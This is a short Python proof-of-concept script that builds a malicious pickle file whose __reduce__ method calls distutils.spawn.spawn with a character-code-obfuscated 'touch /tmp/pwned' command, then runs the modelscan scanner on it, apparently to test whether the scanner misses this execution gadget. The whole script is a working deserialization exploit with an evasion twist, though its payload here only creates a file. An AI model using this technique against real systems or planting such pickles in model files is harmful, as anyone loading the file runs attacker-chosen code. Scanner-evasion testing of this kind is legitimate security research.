#!/usr/bin/env python3
import distutils.spawn
import pickle

class Exploit:
    def __reduce__(self):
        return (distutils.spawn.spawn, ([chr(116)+chr(111)+chr(117)+chr(99)+chr(104)+' /tmp/pwned'],))

payload = pickle.dumps(Exploit())
with open("malicious_distutils.pkl", "wb") as f:
    f.write(payload)

print(f"Payload size: {len(payload)} bytes")

import subprocess, os
result = subprocess.run(['modelscan', 'scan', 'malicious_distutils.pkl'], capture_output=True, text=True)
print("modelscan result:", result.stdout)